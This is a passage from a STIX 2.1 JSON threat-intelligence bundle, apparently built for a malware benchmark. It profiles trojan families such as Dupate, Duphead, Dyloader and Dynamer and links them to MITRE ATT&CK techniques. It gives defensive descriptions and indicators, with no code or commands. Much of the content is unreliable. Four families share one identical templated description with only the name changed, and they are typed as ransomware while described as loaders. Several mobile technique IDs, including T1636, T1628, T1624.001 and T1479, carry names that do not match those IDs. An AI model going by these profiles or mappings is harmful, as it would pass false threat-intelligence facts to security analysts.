      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Duon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dce3556b-7646-5566-a199-345a556ea3e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db3b765c-d8d7-5cfb-987c-f78b718fdc0b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Duon exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ff98391f-dc60-5ee6-8a0d-57a2510d7a97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dupate",
      "description": "Trojan:Win32/Dupate is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dupate</b><br>To an end-user, a Dupate infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dupate is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dupate is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dupate frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dupate reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dupate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dupate"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfd7c312-efe6-510b-9530-da121e55f5af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff98391f-dc60-5ee6-8a0d-57a2510d7a97",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dupate exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1841a01f-8556-532d-9d80-5acb5bed0d4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff98391f-dc60-5ee6-8a0d-57a2510d7a97",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dupate exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09b4698a-05fb-542c-87bc-e55bb954c661",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff98391f-dc60-5ee6-8a0d-57a2510d7a97",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dupate exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--573a9ffc-64aa-56b5-8ced-85cee201d49e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff98391f-dc60-5ee6-8a0d-57a2510d7a97",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dupate exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24a8e2fd-35e1-514f-b5c6-9883f5dba387",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff98391f-dc60-5ee6-8a0d-57a2510d7a97",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dupate exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e674bd55-287b-5654-81c6-0cab7e288573",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Duphead",
      "description": "Trojan:Win32/Duphead is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Duphead</b><br>To an end-user, a Duphead infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Duphead is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Duphead is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Duphead frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Duphead reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Duphead",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/duphead"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7833712a-f50c-5b60-918a-21bb7a2c7554",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e674bd55-287b-5654-81c6-0cab7e288573",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Duphead exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5172569-70c3-5684-af9e-d134cc099bcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e674bd55-287b-5654-81c6-0cab7e288573",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Duphead exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa4bd5de-a3cf-5a3d-a20f-bf29c7f2c271",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e674bd55-287b-5654-81c6-0cab7e288573",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Duphead exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--460a7631-6fbc-5cc3-970c-72452741a772",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e674bd55-287b-5654-81c6-0cab7e288573",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Duphead exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b502012c-bd1d-5b69-a830-e0e1f9015d05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e674bd55-287b-5654-81c6-0cab7e288573",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Duphead exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4110d8f0-9b09-555e-adb3-85ace747a27d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dyamar",
      "description": "Trojan:Win32/Dyamar is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dyamar</b><br>To an end-user, a Dyamar infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dyamar is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dyamar is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dyamar frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dyamar reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dyamar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dyamar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd93e5fe-d0ce-5d78-9f40-bc9c05955a30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4110d8f0-9b09-555e-adb3-85ace747a27d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dyamar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7382a42b-b90f-596b-b53c-0a4b8d1811b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4110d8f0-9b09-555e-adb3-85ace747a27d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dyamar exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bd86b10-c654-51a7-b3fb-a3f5d8479f15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4110d8f0-9b09-555e-adb3-85ace747a27d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dyamar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4d2da96-0b42-5d89-bb48-33828b530aff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4110d8f0-9b09-555e-adb3-85ace747a27d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dyamar exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2e74b17-5fe5-5916-95e3-3ba313ffe727",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4110d8f0-9b09-555e-adb3-85ace747a27d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dyamar exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b16b1394-9502-54b0-bdbd-2b21f4300f99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dycler",
      "description": "Trojan:Win32/Dycler is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dycler</b><br>To an end-user, a Dycler infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dycler is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dycler is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dycler frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dycler reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dycler",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dycler"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab2f6738-6929-553b-8763-7aeaa67dfe76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b16b1394-9502-54b0-bdbd-2b21f4300f99",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dycler exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4adbe4d3-ee69-56ae-b5ed-a7a72560c905",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b16b1394-9502-54b0-bdbd-2b21f4300f99",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dycler exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25e49c30-c8e6-5f6f-8221-da8614c11f8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b16b1394-9502-54b0-bdbd-2b21f4300f99",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dycler exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64837165-4e50-5608-a4e7-6d8e661fa57d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b16b1394-9502-54b0-bdbd-2b21f4300f99",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dycler exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd1b92a1-0949-5071-b826-63be39e080ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b16b1394-9502-54b0-bdbd-2b21f4300f99",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dycler exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cffa63aa-31ec-59a7-b0ff-77d3e570502c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dyloader",
      "description": "Trojan:AndroidOS/Dyloader is a mobile banking trojan targeting the Android operating system. Unlike Windows-based banking trojans that rely on web injects, Dyloader represents the mobile-centric approach to financial theft: it utilizes deceptive Overlay Attacks (`T1636`) to steal credentials and aggressively abuses Android Accessibility Services (`T1628`) to intercept multi-factor authentication (MFA) SMS messages.<br><br><b>Understanding Dyloader (Android Banking Trojans)</b><br>To a mobile user, Dyloader typically masquerades as a legitimate application\u2014often a utility app (like a PDF reader or Flash player) downloaded from a third-party app store or pushed via a phishing SMS (Smishing). For a threat analyst, Dyloader is a highly interactive threat where the attacker monitors the device in real-time, waiting for the user to open a targeted banking application.<br><br><b>Execution and Credential Theft Mechanics</b><br>Once installed, Dyloader immediately requests extensive permissions, most critically asking the user to enable Accessibility Services (`T1628`). With Accessibility enabled, the trojan gains near-total control over the device UI. When the user launches a targeted banking app, Dyloader detects the app launch and instantly draws a fake login screen *over* the legitimate app (`T1636`). The user unwittingly enters their credentials into the malware's overlay. The trojan then leverages its Accessibility permissions to silently read incoming SMS messages (`T1624.001`), capturing the bank's OTP/MFA codes and sending them to the attacker's C2 server to complete the fraudulent transaction.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is direct financial theft and full compromise of the user's mobile banking identity. Device-based IoCs include applications requesting Accessibility Services that have no legitimate need for them (e.g., a 'Flashlight' app requesting screen reading permissions). A key behavioral indicator is a slight delay or 'flicker' when opening a banking application, signifying the overlay being drawn. Network IoCs include the device maintaining a constant heartbeat connection to an unknown C2 server via HTTPS. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dyloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dyloader"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f3baccc8-6777-5a7d-af54-0490e30ce1f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1636: Data from Local System: Screen Capture (Using Overlay Attacks to steal credentials)",
      "description": "MITRE ATT&CK Technique T1636 (Data from Local System: Screen Capture (Using Overlay Attacks to steal credentials)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1636",
          "url": "https://attack.mitre.org/techniques/T1636/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5d32b39-da74-53fb-8ff2-4cc7b862c97a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffa63aa-31ec-59a7-b0ff-77d3e570502c",
      "target_ref": "attack-pattern--f3baccc8-6777-5a7d-af54-0490e30ce1f4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dyloader exhibits technique T1636 (Data from Local System: Screen Capture (Using Overlay Attacks to steal credentials))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22004c44-f760-51bd-a28a-52699e1f1cce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffa63aa-31ec-59a7-b0ff-77d3e570502c",
      "target_ref": "attack-pattern--7f464fc1-002f-588b-b38d-dd19ebca17d8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dyloader exhibits technique T1628 (Abuse Elevation Control Mechanism: Accessibility Services (The core mechanism for UI manipulation and SMS theft))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--04188f3d-4282-5ba5-a499-57611a83e560",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1624.001: Data from Information Repositories: Short Message Service (SMS) (Intercepting MFA tokens)",
      "description": "MITRE ATT&CK Technique T1624.001 (Data from Information Repositories: Short Message Service (SMS) (Intercepting MFA tokens)) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1624.001",
          "url": "https://attack.mitre.org/techniques/T1624/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--572ff59b-c863-5e33-b359-25a8c1ec1f16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffa63aa-31ec-59a7-b0ff-77d3e570502c",
      "target_ref": "attack-pattern--04188f3d-4282-5ba5-a499-57611a83e560",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dyloader exhibits technique T1624.001 (Data from Information Repositories: Short Message Service (SMS) (Intercepting MFA tokens))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--37b08de4-25dc-5f75-8b37-115288765488",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1479: System Information Discovery (Profiling installed banking apps)",
      "description": "MITRE ATT&CK Technique T1479 (System Information Discovery (Profiling installed banking apps)) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1479",
          "url": "https://attack.mitre.org/techniques/T1479/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--532ebf8c-b253-59d5-9d2b-7fe129112362",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffa63aa-31ec-59a7-b0ff-77d3e570502c",
      "target_ref": "attack-pattern--37b08de4-25dc-5f75-8b37-115288765488",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dyloader exhibits technique T1479 (System Information Discovery (Profiling installed banking apps))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d9d5c474-00a0-55a1-9a05-ef286c052815",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dynamer",
      "description": "Dynamer (cataloged across security telemetry as Trojan:Win32/Dynamer, Trojan:Win32/Dynamer!ac, Trojan:Win32/Dynamer!rfn, and Trojan.Win32.Dynamer) is a prevalent Microsoft Defender behavioral detection classification active since 2013. Designed to flag high-risk generic trojan routines, Dynamer signatures intercept executables that display deceptive execution behaviors\u2014such as packed binary headers, reflective code loading, process injection into legitimate Windows binaries (like svchost.exe), and covert command-and-control polling. In wild infections, Dynamer variants typically manifest through trojanized software cracks, key generators, and pirated media bundles. In corporate forensic investigations, the Dynamer signature is also widely recognized by systems administrators as a frequent false-positive trigger against dormant OEM factory recovery partitions (such as HP or Lenovo D:\\preload\\ or install.wim image files) containing legacy bundled software. When executing maliciously, Dynamer establishes registry run key persistence and serves as a modular stager for credential stealers and secondary botnet payloads. (Observed samples in benchmark: 110)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Dynamer",
        "Trojan:Win32/Dynamer!ac",
        "Trojan:Win32/Dynamer!rfn",
        "Trojan.Win32.Dynamer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dynamer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dynamer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78d4e8d1-f353-5f10-bc4b-8945c04d829c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9d5c474-00a0-55a1-9a05-ef286c052815",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dynamer exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9f81072-ef15-5f1e-a6e8-c7d1a5b7cb08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9d5c474-00a0-55a1-9a05-ef286c052815",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dynamer exhibits technique T1620 (Reflective Code Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b674c73-1fe1-5d85-8080-79bf5cc2e356",
